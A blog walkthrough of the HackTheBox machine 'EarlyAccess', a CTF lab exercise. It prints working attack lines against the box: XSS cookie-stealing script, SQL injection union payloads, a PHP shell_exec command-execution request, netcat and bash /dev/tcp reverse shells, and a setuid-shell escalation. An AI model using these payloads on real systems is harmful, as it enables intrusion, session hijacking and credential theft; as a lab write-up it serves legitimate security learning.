23 minute read

Machine Information


EarlyAccess is a rated as a hard machine on HackTheBox. This was a long and complex box themed around an imaginary game development company. We start by registering to access a forum and find that there is an XSS vulnerability. Eventually we find a way to capture the admins session token and use it to gain access to the portal as them. This lets us download a key generator, and after deciphering how it works we generate a list of potentials and use Burp Intruder to brute force. With a valid key we can log in to a new area and there we find an SQLi vulnerability that we use to dump database credentials. This gives us a hash that we crack to gain access to a third area of the site. Here we use parameter tampering to retrieve files, leading to the discovery of a debug function that lets us finally get a reverse shell. Once inside we navigate around containers to find a tic-tac-toe game that we ultimately crash to gain root.

Skills required are knowledge of XXS and SQLi techniques. Being able to understand Python is also required. Skills learned are deeper knowledge of Python and Javascript, using Burp Intruder, researching and utilising exploitation techniques,

Hosting Site HackTheBox
Link To Machine HTB - Hard - EarlyAccess
Machine Release Date 4th September 2021
Date I Completed It 3rd February 2022
Distribution Used Kali 2021.4 – Release Info

Initial Recon

As always let’s start with Nmap:

└─# ports=$(nmap -p- --min-rate=1000 -T4 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) 

└─# nmap -p$ports -sC -sV -oA earlyaccess
Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-30 21:18 GMT
Nmap scan report for
Host is up (0.024s latency).

22/tcp  open  ssh      OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 e4:66:28:8e:d0:bd:f3:1d:f1:8d:44:e9:14:1d:9c:64 (RSA)
|   256 b3:a8:f4:49:7a:03:79:d3:5a:13:94:24:9b:6a:d1:bd (ECDSA)
|_  256 e9:aa:ae:59:4a:37:49:a6:5a:2a:32:1d:79:26:ed:bb (ED25519)
80/tcp  open  http     Apache httpd 2.4.38
|_http-title: Did not follow redirect to https://earlyaccess.htb/
|_http-server-header: Apache/2.4.38 (Debian)
443/tcp open  ssl/http Apache httpd 2.4.38 ((Debian))
|_http-title: EarlyAccess
| ssl-cert: Subject: commonName=earlyaccess.htb/organizationName=EarlyAccess Studios/stateOrProvinceName=Vienna/countryName=AT
| Not valid before: 2021-08-18T14:46:57
|_Not valid after:  2022-08-18T14:46:57
| tls-alpn: 
|_  http/1.1
|_http-server-header: Apache/2.4.38 (Debian)
|_ssl-date: TLS randomness does not represent time
Service Info: Host:; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Nmap done: 1 IP address (1 host up) scanned in 18.39 seconds

We can see the common name for the site from the ssl certificate. Let’s add that to our hosts file:

└─# echo " earlyaccess.htb" >> /etc/hosts

Mamba Website

We can browse the site, which does look nice:


But there is no content, so let’s register an account here:


We end at the dashboard here:


Looking around I found this post on the Forum:


A definite clue that we have SQLi somewhere. On the Messaging area clicking on Contact Us lets you send a message to admin:


When it’s sent you get this message:


Another clue, this one suggesting there’s a script running to read the messages sent.

XSS Exploit

It took me way too long to figure out what to do next! The first clue was that the username is vulnerable, it turns out you can do XSS with it. So first of all I found this:

function httpGet(theUrl)
        var xmlHttp = new XMLHttpRequest();
        xmlHttp.open("GET", theUrl, false);
        return xmlHttp.responseText;

I’ve saved that to a file on Kali called pencer.js, then start a webserver there so the box can get to it.

Now we need to call it by using XSS in my username on the profile page:


Here I’ve just added a simple XSS call back to my Kali IP to get the pencer.js file:

<script src="" />

However it didn’t work:

└─# python3 -m http.server 4443
Serving HTTP on port 4443 ( ... - - [30/Jan/2022 22:19:17] code 400, message Bad request version ('o\x9c)É«·\x00')
o)É«· " 400 -F®j=[Ê0/Jan/2022 22:19:17] "ü¸Ù=¹Ä½3Å▒µÐ÷0+p¹@ÊØ·3]Ñ£ - - [30/Jan/2022 22:19:17] code 400, message Bad request version ('éF\x05@\x92´\x1a\
'\x00"êê\x13\x01\x13\x02\x13\x03À+À/À,À0̨̩À\x13À\x14\x00\x9c\x00\x9d\x00/\x005\x00') - - [30/Jan/2022 22:19:17] "üZ(ÜW^ÿâF05O¼lf¨Ð¦r{Hoe²f» _k(êtoG"\/8ªlSMÀ¿k        
éF@´▒'%¥"êêÀ+À/À,À0̨̩ÀÀ/5" 400 -

So I tried a PHP server which gave me more information:

└─# php -S
[Sun Jan 30 21:58:19 2022] PHP 7.4.26 Development Server ( started
[Sun Jan 30 22:08:17 2022] Accepted
[Sun Jan 30 22:08:17 2022] Invalid request (Unsupported SSL request)
[Sun Jan 30 22:08:17 2022] Closing

Python HTTPS Server

I forgot the site is HTTPS so my server on Kali needs to be capable of that as well. I searched for a python https server and found this, I just changed the server address, and the pem file name:

import http.server, ssl
server_address = ('', 4443)
httpd = http.server.HTTPServer(server_address, http.server.SimpleHTTPRequestHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, server_side=True, certfile='pencer.pem', ssl_version=ssl.PROTOCOL_TLS)

To create the pem file to use with my Python HTTPS server I used this to show me the correct opennssl command:

└─# openssl req -new -x509 -keyout pencer.pem -out pencer.pem -days 3650 -nodes
Generating a RSA private key
writing new private key to 'pencer.pem'
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
Country Name (2 letter code) [AU]:
State or Province Name (full name) [Some-State]:
Locality Name (eg, city) []:
Organization Name (eg, company) [Internet Widgits Pty Ltd]:
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:
Email Address []:

Now start the Python HTTPS server:

└─# python3 https-server.py

Then switch back to the box and send another message just like before:


Wait a few minutes and if all goes to plan we see the box make contact, our cookie stealing JavaScript file is pulled back to the box and it returns the admin user cookie to us:

└─# python3 https-server.py - - [30/Jan/2022 22:11:16] "GET /cookies.js HTTP/1.1" 200 - - - [30/Jan/2022 22:11:26] code 404, message File not found - - [30/Jan/2022 22:11:26] "GET /XSRF-TOKEN=eyJpdiI6IllUeTdhNWk5eDVCK

Notice there are two cookies returned, XRSF-TOKEN and earlyaccess_session, we need the second one which I cut out like this:

WYxNGM2OGU3NzlmODdhZTMzNjY2NjI5YzA2In0%3D | cut -d \; -f 2 | cut -d = -f 2


Just copy the text after the two cuts and paste it in to the browser using Cookie Editor or similar:


Admin Access

Save that cookie and refresh to be logged in to the dashboard as admin:


Menu shows us two new subdomains, add them to hosts file:

└─# sed -i '/ earlyaccess.htb/ s/$/ dev.earlyaccess.htb game.earlyaccess.htb/' /etc/hosts

For now the Dev and Game sub-sites are a dead end as they lead to log in pages. The Admin section has only two parts that work. The Download backup one:


Key Validator Script

Here we need to download the backup of the Key-Validator, so get that now.

This Verify a game-key section is where we will be entering the key we create using the backup we’ve just downloaded:


Switch to the terminal and unzip the backup:

└─# unzip backup.zip
Archive:  backup.zip
  inflating: validate.py

Running the Python script we get this:

└─# python3 validate.py
        # Game-Key validator #
        Can be used to quickly verify a user's game key, when the API is down (again).
        Keys look like the following:
        Usage: validate.py <game-key>

The script isn’t that long but it’s hard to follow if you don’t understand Python. There is basically five parts to it, each one creates a section of the key which we see in the example above. I used this online Python compiler to play with each section and figure out what it does.

Let’s look at them in turn, first part one which we can see is five characters long. The section of the script that validates our input is here:

def g1_valid(self) -> bool:
    g1 = self.key.split('-')[0]
    r = [(ord(v)<<i+1)%256^ord(v) for i, v in enumerate(g1[0:3])]
    if r != [221, 81, 145]:
        return False
    for v in g1[3:]:
            return False
    return len(set(g1)) == len(g1)

This takes the digits before the first dash and performs modulo and ordinal sums on the first three characters to check they are equal to the decimal values of 221, 81 and 145. It then checks characters four and five are integers, these can be any digits.

Changing the above so we can test each character of the alphabet against the sum gives us this:

import string
g1_numbers=[221, 81, 145]
for a in g1_numbers:
    for b in [c for c in string.ascii_uppercase+string.digits]:
        if (ord(b)<<i+1)%256^ord(b) == a:
print (g1_results)

Our key looks like this KEY10 for group one. On to the next, from the script we have this:

    def g2_valid(self) -> bool:
        g2 = self.key.split('-')[1]
        p1 = g2[::2]
        p2 = g2[1::2]
        return sum(bytearray(p1.encode())) == sum(bytearray(p2.encode()))

This one is just checking p1 is equal to p2 using the double colon function to take elements from the five characters passed to it. Then it encodes the strings value and converts to a bytearray.

Like before I took the code, changed it around so I could test values:

g2 = "0A0O0"
p1 = g2[::2]
p2 = g2[1::2]
print (sum(bytearray(p1.encode())))
print (sum(bytearray(p2.encode())))

I just played around with values for g2 and found 0A0O0 gives an output of 144 and 144 which satisfies the check, so I know 0A0O0 is valid.

Our key now looks like this KEY10-0A0O0.

Group three next, the script looks like this:

    def g3_valid(self) -> bool:
        # TODO: Add mechanism to sync magic_num with API
        g3 = self.key.split('-')[2]
        if g3[0:2] == self.magic_value:
            return sum(bytearray(g3.encode())) == self.magic_num
            return False

We also need to look at the start of the script to understand what the magic_value and magic_num are:

    magic_value = "XP" # Static (same on API)
    magic_num = 346 # TODO: Sync with API (api generates magic_num every 30min)

From this we know the first two characters need to be XP. The script also tells us the next two characters are alpha and the last character is numeric. Finally we know that these remaining three characters combined with XP are encoded, then converted to a bytearray, then summed. This needs to equal the magic number, which we see will change every 30 minutes. This means we need to calculate all possible values and then try each in turn on the site to see which one is valid at that point.

If we assume AA0 is the first possible combination of those last three characters then we know the magic number is a minimum of 178, we can check:

print (sum(bytearray(magic_value.encode())))

Now we just need to do three loops to try each possible combination and return any that are greater than our magic number:

import string
for a in [x for x in string.ascii_uppercase]:
    for b in [x for x in string.ascii_uppercase]:  
        for c in [x for x in string.digits]:
            if sum(bytearray(last_3_chars.encode())) > magic_num:
                print (g3)

Group four next. Here is the script:

    def g4_valid(self) -> bool:
        return [ord(i)^ord(g) for g, i in zip(self.key.split('-')[0], self.key.split('-')[3])] == [12, 4, 20, 117, 0]

This one is a bit easier. It’s just taking the value we’ve found for the first group and making a tuple with the value of the fourth group using the Python zip function. Then it’s doing an XOR on the ordinals for both and checking if the result is the same as the five given numbers of 12, 4 ,20, 117 and 0.

We can change this around to find what that fourth group would be:

import string
g4_values = [12, 4, 20, 117, 0]
test_values = [a for a in string.ascii_uppercase+string.digits]
for b in g1_result:
    for c in test_values:
        if ord(b) ^ ord(c) == g4_values[i]:
print (g4_result)

From this we find group four is GAMD0.

Our key looks like this KEY99-0A0O0-XPAA0-GAMD0.

On to Group five which is handled by two different parts of the script:

def calc_cs(self) -> int:
    gs = self.key.split('-')[:-1]
    return sum([sum(bytearray(g.encode())) for g in gs])

def cs_valid(self) -> bool:
    cs = int(self.key.split('-')[-1])
    return self.calc_cs() == cs

I guess cs is for checksum as this one is just checking the other four groups are valid. We will get a value from calc_cs based on the four parts to the key after it’s been encoded, converted to bytearray and summed. That’s compared with the same four parts of the key converted to an integer.

We can see what that value would be for our first possible key:

cs = (gs.split('-')[:-1])
checksum = sum([sum(bytearray(g.encode())) for g in cs])
print (str(checksum))

Now we know how each part of the key is generated we can put the above together and create a script that gives us a list of all possible keys. It’s actually only 59 keys so less to test than I first thought.

With three of the five groups static we can simplify the script to just calculate the list of 59 variations:

import string
for a in [x for x in string.ascii_uppercase]:
    for b in [x for x in string.ascii_uppercase]:  
        for c in [x for x in string.digits]:
            if sum(bytearray(last_3_chars.encode())) > magic_num:
                cs = ["KEY10", "0A0O0", g3, "GAMD0"]
                checksum = sum([sum(bytearray(g.encode())) for g in cs])
                print ("KEY10-0A0O0-"+g3+"-GAMD0-"+(str(checksum)))

Verify Game-Key

Save that to a file on Kali and then run it:

└─# python3 keygen.py

With our list ready now go back to the Verify Game-Key area of the website, which we access as admin. Before entering a key to verify start Burp and set it listening, also remember to set your browser to use Burp as its proxy. Now paste anything in to the enter game-key field and click Verify key:


Burp Intruder

Switch to Burp to see the captured request, forward it to Intruder. On the Positions tab change key to fuzz, highlight it then click Add on the right:


Now switch to the Payloads tab and paste in our list of keys:


Finally go to the Options tab and change Redirections to Always:


Now start the attack and watch the Results:


We’re looking for the one request that returned a length of 14190, all the rest are 14161. Look at the bottom window to see the key that was used. We know from the response that this was successful.

Copy and paste it in to the verify game-key box, this time you should get a Success:


Register Game-Key

Now logout as admin and back in as our user, go to the Register Key section and paste our valid key in:


We can now log in to the game section:



Have a go at the game if you want to:


The scoreboard shows how bad I did:


SQLi Exploitation

There’s not a lot else to do here, but thinking back to the forum post we saw at the start it said the user SingleQuoteMan had a problem with his name on the scoreboard. This is a clue that we can use SQLi to retrieve data. Switch back to our user profile and change the name:


Now back to the scoreboard and refresh:


This tells us the scoreboard is vulnerable but we didn’t get the syntax quite right. I covered SQLi in depth for this TryHackMe room. Using the same process I changed my username to:

pencer') union select table_name,null,null from information_schema.tables -- -

Which let me see all the tables in the database:


Next I dumped the users and passwords by changing my username to this:

pencer') union select name,password,null from users -- -

Which gave me them all:



Let’s take the admin hash and crack it:

└─# echo "618292e936625aca8df61d5fff5c06837c49e491" > hash

└─# john hash --wordlist=/usr/share/wordlists/rockyou.txt --format=raw-sha1
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-SHA1 [SHA1 256/256 AVX2 8x])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
<HIDDEN>         (?)     
1g 0:00:00:00 DONE (2022-02-03 22:22) 100.0g/s 658400p/s 658400c/s 658400C/s july12..foolish
Use the "--show --format=Raw-SHA1" options to display all of the cracked passwords reliably
Session completed. 

With the credentials we can now log in to the dev site:


Not a lot on the dev site, we have this page with hashing tools:


And this one for file tools:



User Feroxbuster to look for subfolders:

└─# feroxbuster --url http://dev.earlyaccess.htb
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.4.1
 🎯  Target Url            │ http://dev.earlyaccess.htb
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.4.1
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
 🏁  Press [ENTER] to use the Scan Management Menu™
301        9l       28w      329c http://dev.earlyaccess.htb/includes
301        9l       28w      327c http://dev.earlyaccess.htb/assets
301        9l       28w      328c http://dev.earlyaccess.htb/actions
301        9l       28w      331c http://dev.earlyaccess.htb/assets/css
301        9l       28w      330c http://dev.earlyaccess.htb/assets/js
403        9l       28w      284c http://dev.earlyaccess.htb/server-status
301        9l       28w      337c http://dev.earlyaccess.htb/assets/css/fonts
[####################] - 1m    209993/209993  0s      found:7       errors:675    

Actions sounds interesting, let’s search that:

└─# feroxbuster --url http://dev.earlyaccess.htb/actions/ -x php
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.4.1
 🎯  Target Url            │ http://dev.earlyaccess.htb/actions/
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.4.1
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 💲  Extensions            │ [php]
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
 🏁  Press [ENTER] to use the Scan Management Menu™
302        0l        0w        0c http://dev.earlyaccess.htb/actions/logout.php
302        0l        0w        0c http://dev.earlyaccess.htb/actions/login.php
500        1l        3w       35c http://dev.earlyaccess.htb/actions/file.php
302        0l        0w        0c http://dev.earlyaccess.htb/actions/hash.php
[####################] - 30s    59998/59998   0s      found:4       errors:0      

Fuzzing Parameters

Fuzzing found a parameter:

└─# wfuzz --hw 3 -w Discovery/Web-Content/raft-large-words-lowercase.txt http://dev.earlyaccess.htb/actions/file.php?FUZZ
* Wfuzz 3.1.0 - The Web Fuzzer                         *
Target: http://dev.earlyaccess.htb/actions/file.php?FUZZ
Total requests: 50
ID           Response   Lines    Word       Chars       Payload
000000050:   500        0 L      2 W        32 Ch       "filepath"

Data Exfiltration

Try to get to a known file:

└─# curl http://dev.earlyaccess.htb/actions/file.php?filepath=/etc/passwd
<h1>ERROR:</h1>For security reasons, reading outside the current directory is prohibited!

Try to read file.php:

└─# curl http://dev.earlyaccess.htb/actions/file.php?filepath=file.php   
<h2>Executing file:</h2><p>file.php</p><br><h2>Executed file successfully!

Try to read hash.php:

└─# curl http://dev.earlyaccess.htb/actions/file.php?filepath=hash.php
<h2>Executing file:</h2><p>hash.php</p><br><br />
<b>Warning</b>:  Cannot modify header information - headers already sent by 
(output started at /var/www/earlyaccess.htb/dev/actions/file.php:18) in 
<b>/var/www/earlyaccess.htb/dev/actions/hash.php</b> on line <b>77</b>
<br /><h2>Executed file successfully!

This gives us a file path. Just like we did on Timing we can base64 encode the file to retrieve it:

└─# curl http://dev.earlyaccess.htb/actions/file.php?filepath=php://filter/convert.base64-encode/resource=/var/www/earlyaccess.htb/dev/actions/hash.php
<h2>Executing file:</h2>

Decode the base64:

└─# echo "PD9waHAKaW5jbHVkZ9zZXNzaW9uLnB<SNIP>ICByZXR1cm47Cn0KPz4=" | base64 -d

Hash File Code Review

Now we have the hash.php file to look at. The interesting part is this function:

function hash_pw($hash_function, $password)
    // DEVELOPER-NOTE: There has gotta be an easier way...
    // Use inputted hash_function to hash password
    $hash = @$hash_function($password);
    return $hash;

We can provide the password and the function used to hash it. Then further down in the script:

if(isset($_REQUEST['hash_function']) && isset($_REQUEST['hash']) && isset($_REQUEST['password']))
    // Only allow custom hashes, if `debug` is set
      if($_REQUEST['hash_function'] !== "md5" && $_REQUEST['hash_function'] !== "sha1" && !isset($_REQUEST['debug']))
        throw new Exception("Only MD5 and SHA1 are currently supported!");
                $hash = hash_pw($_REQUEST['hash_function'], $_REQUEST['password']);

                $_SESSION['verify'] = ($hash === $_REQUEST['hash']);
                header('Location: /home.php?tool=hashing');

Debug Exploit

If we modify the request and send a parameter with debug=true, then we can execute our own commands using shell_exec as the hash function. Let’s try to list the directory:

└─# curl -s -L -k -X POST -b 'PHPSESSID=7241f80366715e8f4308d92c6837234d' --data-binary 'action=hash&redirect=true&password=ls&hash_function=shell_exec&debug=true' 'http://dev.earlyaccess.htb/actions/hash.php' | grep "Hashed password" -A 5 
<h3>Hashed password:</h3>

Time for a reverse shell:

└─# curl -s -L -k -X POST -b 'PHPSESSID=7241f80366715e8f4308d92c6837234d' --data-binary 'action=hash&redirect=true&password=nc+' $'http://dev.earlyaccess.htb/actions/hash.php'

User Shell

Switch to a waiting netcat listener to see we are connected:

└─# nc -nlvp 1337
listening on [any] 1337 ...
connect to [] from (UNKNOWN) [] 46424

Upgrade the shell to something more useable:

python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@webserver:/var/www/earlyaccess.htb/dev/actions$ ^Z
zsh: suspended  nc -nlvp 1337
└─# stty raw -echo; fg
[1]  + continued  nc -nlvp 1337
www-data@webserver:/var/www/earlyaccess.htb/dev/actions$ export TERM=xterm
www-data@webserver:/var/www/earlyaccess.htb/dev/actions$ stty rows 60 cols 236

We’re connected as www-data, but looking in the home folder we see another user. Lucky for us they have reused the admin password we cracked earlier:

www-data@webserver:/var/www/earlyaccess.htb/dev/actions$ ls -lsa /home
4 drwxr-xr-x 2 www-adm www-adm 4096 Feb  3 15:50 www-adm

www-data@webserver:/var/www/earlyaccess.htb/dev/actions$ su www-adm

Looking in our home folder there is no user flag, but the contents of the .wgetrc file is interesting:

www-adm@webserver:/var/www/earlyaccess.htb/dev/actions$ cd /home/www-adm/
www-adm@webserver:~$ ls -lsa
0 lrwxrwxrwx 1 root    root       9 Feb  3 15:50 .bash_history -> /dev/null
4 -rw-r--r-- 1 www-adm www-adm  220 Apr 18  2019 .bash_logout
4 -rw-r--r-- 1 www-adm www-adm 3526 Apr 18  2019 .bashrc
4 -rw-r--r-- 1 www-adm www-adm  807 Apr 18  2019 .profile
4 -r-------- 1 www-adm www-adm   33 Feb  3 15:50 .wgetrc

www-adm@webserver:~$ cat .wgetrc 

Looking around I eventually grepped for that api user and found this:

www-adm@webserver:/var/www/html/app$ grep -ir api
Models/API.php:class API extends Model
Models/API.php:     * Verifies a game-key using the API
Models/API.php:     * @return string //Returns response from API
Models/API.php:            $response = Http::get('http://api:5000/verify/' . $key);

The API.php file has a URL, we can use wget to look at it:

www-adm@webserver:/var/www/html/app$ wget http://api:5000
--2022-02-04 16:53:38--  http://api:5000/
Resolving api (api)...
Connecting to api (api)||:5000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 254 [application/json]
index.html: Permission denied

Permissions denied to index.html. I need to be in my home folder so wget uses the config file:

www-adm@webserver:/var/www/html/app$ cd ~
www-adm@webserver:~$ wget http://api:5000/
--2022-02-04 17:00:25--  http://api:5000/
Resolving api (api)...
Connecting to api (api)||:5000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 254 [application/json]
Saving to: ‘index.html’
index.html      100%[============>]     254  --.-KB/s    in 0s      
2022-02-04 17:00:25 (18.3 MB/s) - ‘index.html’ saved [254/254]

Verification API

Looking at the index file:

www-adm@webserver:~$ cat index.html 
{"message":"Welcome to the game-key verification API! You can verify your keys via: /verify/<game-key>.
If you are using manual verification, you have to synchronize the magic_num here.
Admin users can verify the database using /check_db.","status":200}

Let’s get the check_db file:

www-adm@webserver:~$ wget http://api:5000/check_db
--2022-02-04 17:03:17--  http://api:5000/check_db
Resolving api (api)...
Connecting to api (api)||:5000... connected.
HTTP request sent, awaiting response... 401 UNAUTHORIZED
Authentication selected: Basic
Connecting to api (api)||:5000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 8708 (8.5K) [application/json]
Saving to: ‘check_db’
check_db     100%[==============>]   8.50K  --.-KB/s    in 0s      
2022-02-04 17:03:17 (108 MB/s) - ‘check_db’ saved [8708/8708]

Looking at it the contents is json so copy to Kali and use jq to read it:

└─# jq '.' check_db                                                    
  "message": {
    "AppArmorProfile": "docker-default",
    "Args": [
    "Config": {
      "AttachStderr": false,
      "AttachStdin": false,
      "AttachStdout": false,
      "Cmd": [

It’s a long file but a grep for password finds some credentials:

└─# jq '.' check_db | grep -i password

Drew SSH Access

Let’s try them for user drew via SSH:

└─# ssh drew@earlyaccess.htb       
You have mail.
Last login: Sun Sep  5 15:56:50 2021 from

We’re in. I notice it says we have mail, let’s check that:

drew@earlyaccess:~$ cat /var/mail/drew
To: <drew@earlyaccess.htb>
Subject: Game-server crash fixes
From: game-adm <game-adm@earlyaccess.htb>
Date: Thu May 27 8:10:34 2021
Hi Drew!
Thanks again for taking the time to test this very early version of our newest project!
We have received your feedback and implemented a healthcheck that will automatically restart 
the game-server if it has crashed (sorry for the current instability of the game! We are working on it...) 
If the game hangs now, the server will restart and be available again after about a minute.
If you find any other problems, please don't hesitate to report them!
Thank you for your efforts!
Game-adm (and the entire EarlyAccess Studios team).

It tells us the game server will restart automatically if it hangs or crashes. I also found this ssh file in drew’s home folder:

drew@earlyaccess:~$ cat .ssh/id_rsa.pub 
ssh-rsa AAAAB3NzaC1y<SNIP>c2myZjHXDw77nvettGYr5lcS8w== game-tester@game-server

We can log on to game-server as user game-tester with this. Looking at IP we see another container:

drew@earlyaccess:~$ ip n 2>/dev/null dev br-b052cf9302f7 lladdr 02:42:ac:13:00:02 STALE dev br-6489f03765ae lladdr 02:42:ac:12:00:02 STALE dev br-6489f03765ae lladdr 02:42:ac:12:00:66 STALE dev ens160 lladdr 00:50:56:b9:72:c3 REACHABLE

Game Server

Let’s log in to there:

drew@earlyaccess:~$ ssh game-tester@

Time for some enumeration. Looking at the root folder:

game-tester@game-server:~$ ls -lsa /
4 drwxrwxr-t   2 root 1000 4096 Feb  4 17:57 docker-entrypoint.d
4 -rwxr-xr--   1 root root  141 Aug 19 14:15 entrypoint.sh

Look at the entrypoint script:

game-tester@game-server:~$ cat /entrypoint.sh 
for ep in /docker-entrypoint.d/*; do
if [ -x "${ep}" ]; then
    echo "Running: ${ep}"
    "${ep}" &
tail -f /dev/null

This script is owned by root and is running anything in the docker-entrypoint.d folder. In there we see a script, let’s look the contents of it:

game-tester@game-server:~$ cat /docker-entrypoint.d/node-server.sh  
service ssh start
cd /usr/src/app
# Install dependencies
npm install
sudo -u node node server.js

A script called server.js is being run from the /usr/src/app folder. Looking at that script we see it’s a game of tic-tac-toe, and is listening on port 9999. There’s an autoplay function which lets us specify how many rounds to play, let’s try it from SSH session on the earlyaccess server:

drew@earlyaccess:~$ curl -X POST -d "rounds=3" 
    <h1>Starting autoplay with 3 rounds</h1>
    <p>Wins: 1</p>
    <p>Losses: 2</p>
    <p>Ties: 0</p>
    <a href="/autoplay">Go back</a>

In the script we also see this:

  // Stop execution if too many rounds are specified (performance issues may occur otherwise)
  if (req.body.rounds > 100)

Crashing Game Server

So to get root on game-server we need a way of crashing the server, then when it restarts we need to have a file with a reverse shell in it in the /docker-entrypoint.d/ folder so it gets executed.

On game-server we see this:

game-tester@game-server:~$ ls -l /
drwxrwxr-t   2 root 1000 4096 Feb  6 11:38 docker-entrypoint.d

And on earlyaccess server we see this:

drew@earlyaccess:~$ ls -l /opt
total 8
drwx--x--x 4 root root 4096 Jul 14  2021 containerd
drwxrwxr-t 2 root drew 4096 Feb  6 12:39 docker-entrypoint.d

So we have write access to the folder as drew on earlyaccess server, and that folder is mounted on the game-server. Let’s drop a reverse shell in there, then crash the game. We’ll need to do this as a loop because there is a clean up task running that empties the docker-entrypoint.d folder every minute:

drew@earlyaccess:~$ while true; do echo "bash -i >& /dev/tcp/ 0>&1" > /opt/docker-entrypoint.d/pencer.sh && chmod +x /opt/docker-entrypoint.d/pencer.sh && sleep 1; done

Leave that running and start another SSH session as drew to earlyaccess.htb. From there call the script with autoplay as before, but this time use a negative value:

drew@earlyaccess:/opt/docker-entrypoint.d$ curl -X POST -d "rounds=-3"
curl: (52) Empty reply from server

Root Access

Have a netcat listener on your Kali waiting, and when the above crashes the game-server we’ll see a connection to us from it as root:

└─# nc -nlvp 1337
listening on [any] 1337 ...
connect to [] from (UNKNOWN) [] 59062
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell

Now we’re root on game-server we can copy /bin/sh to the shared folder and give it the sticky bit:

root@game-server:/# cd docker-entrypoint.d
root@game-server:/docker-entrypoint.d# cp /bin/sh . && chmod u+s sh

Finally back on earlyaccess as drew we can escalate to root and grab the flag:

drew@earlyaccess:/opt/docker-entrypoint.d$ ls -lsa
  4 -rwxr-xr-x 1 root root    100 Feb  6 13:23 node-server.sh
  4 -rwxr-xr-x 1 drew drew     42 Feb  6 13:23 pencer.sh
116 -rwsr-xr-x 1 root root 117208 Feb  6 13:23 sh

drew@earlyaccess:/opt/docker-entrypoint.d$ ./sh
# id
uid=1000(drew) gid=1000(drew) euid=0(root) groups=1000(drew)
# cat /root/root.txt

All done. For me that was a really hard box, but enjoyable and I learnt a few things on the way. Hopefully this walkthrough helped you too. See you next time.